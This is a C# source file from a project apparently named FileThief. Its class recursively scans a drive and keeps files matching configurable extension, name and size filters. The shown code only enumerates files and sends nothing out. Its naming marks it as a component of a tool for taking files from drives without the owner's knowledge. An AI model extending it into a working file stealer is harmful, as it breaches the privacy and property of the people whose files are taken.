﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;

namespace FileThief
{
    public class Select
    {        
        List<FileInfo> fileList = new List<FileInfo>();

        public List<FileInfo> SelectFiles(DriveInfo driveInfo)
        {
            //throw new NotImplementedException();
            if (driveInfo != null && driveInfo.IsReady)
            {
                try
                {
                    #region

                    DirectoryInfo dir = new DirectoryInfo(driveInfo.Name);
                    ListFiles(dir);

                    #endregion
                }
                catch (IOException)
                {
                }
                return fileList;
            }
            else
            {
                return null;
            }                           
        }

        /// <summary>
        /// 判断文件信息与设置中的规则是否匹配，结果若为TRUE，则说明匹配，相反不匹配
        /// </summary>
        /// <param name="fileInfo">待检验的文件信息</param>
        /// <returns></returns>
        private bool FilterFile(FileInfo fileInfo)
        {
            //throw new NotImplementedException();

            #region FileExtensionFilter

            if (Settings.GetSettings().select.IsFileExtensionFilterOn)
            {
                if (Settings.GetSettings().select.FileExtensionFilter.IsBlacklist == true)
                {
                    foreach (string i in Settings.GetSettings().select.FileExtensionFilter.Blacklist)
                    {
                        if (fileInfo.Extension.ToUpper().Equals(i.ToUpper()))
                        {
                            return false;
                        }                       
                    }
                }
                else
                {
                    if (Settings.GetSettings().select.FileExtensionFilter.Whitelist.Count == 0)
                        return false;
                    for (int i = 0; i < Settings.GetSettings().select.FileExtensionFilter.Whitelist.Count; i++)
                    {
                        string j = Settings.GetSettings().select.FileExtensionFilter.Whitelist[i];
                        {
                            if (fileInfo.Extension.ToUpper().Equals(j.ToUpper()))
                                break;
                        }

                        if (i + 1 >= Settings.GetSettings().select.FileExtensionFilter.Whitelist.Count)
                        {
                            return false;
                        }
                    }
                }

            }

            #endregion

            #region FileNameFilter

            if (Settings.GetSettings().select.IsFileNameFilterOn)
            {
                if (Settings.GetSettings().select.FileNameFilter.IsBlacklist == true)
                {
                    foreach (string i in Settings.GetSettings().select.FileNameFilter.Blacklist)
                    {
                        if (Path.GetFileNameWithoutExtension(fileInfo.FullName).ToUpper().Equals(i.ToUpper()))
                        {
                            return false;
                        }
                    }
                }
                else
                {
                    if (Settings.GetSettings().select.FileNameFilter.Whitelist.Count == 0)
                        return false;
                    for (int i = 0; i < Settings.GetSettings().select.FileNameFilter.Whitelist.Count; i++)
                    {
                        string j = Settings.GetSettings().select.FileNameFilter.Whitelist[i];
                        {
                            if (Path.GetFileNameWithoutExtension(fileInfo.FullName).ToUpper().Equals(j.ToUpper()))
                                break;
                        }

                        if (i + 1 >= Settings.GetSettings().select.FileNameFilter.Whitelist.Count)
                        {
                            return false;
                        }
                    }
                }
            }

            #endregion
            
            #region FileLengthFilter

            if (Settings.GetSettings().select.IsFileLengthFilterOn)
            {
                if (Settings.GetSettings().select.FileLengthFilter.IsBlacklist == true)
                {
                    if (fileInfo.Length < Settings.GetSettings().select.FileLengthFilter.LessBlacklist || fileInfo.Length > Settings.GetSettings().select.FileLengthFilter.MoreBlacklist)
                        return false;                    
                }
                else
                {
                    if (!(fileInfo.Length >= Settings.GetSettings().select.FileLengthFilter.LessWhitelist && fileInfo.Length <= Settings.GetSettings().select.FileLengthFilter.MoreWhitelist))
                        return false;
                }
            }

           
            #endregion

            
            return true;
            
        }
        
        private void ListFiles(FileSystemInfo info)
        {
            try
            {
                if (!info.Exists)
                    return;

                DirectoryInfo dir = info as DirectoryInfo;
                //不是目录
                if (dir == null) return;

                FileSystemInfo[] files = dir.GetFileSystemInfos();
                for (int i = 0; i < files.Length; i++)
                {
                    FileInfo file = files[i] as FileInfo;
                    //是文件
                    if (file != null)
                    {
                        //Console.WriteLine(file.FullName + "\t " + file.Length);
                        //if (file.FullName.Substring(file.FullName.LastIndexOf(".")) == ".jpg")
                        //此处为显示JPG格式，不加IF可遍历所有格式的文件
                        //{                        
                        if (FilterFile(file))
                        {
                            fileList.Add(file);
                        }
                        //MessageBox.Show(file.FullName.Substring(file.FullName.LastIndexOf(".")));
                        //}
                    }
                    //对于子目录，进行递归调用
                    else
                    {
                        ListFiles(files[i]);
                    }

                }
            }
            catch (Exception) { }
        }


    }
}
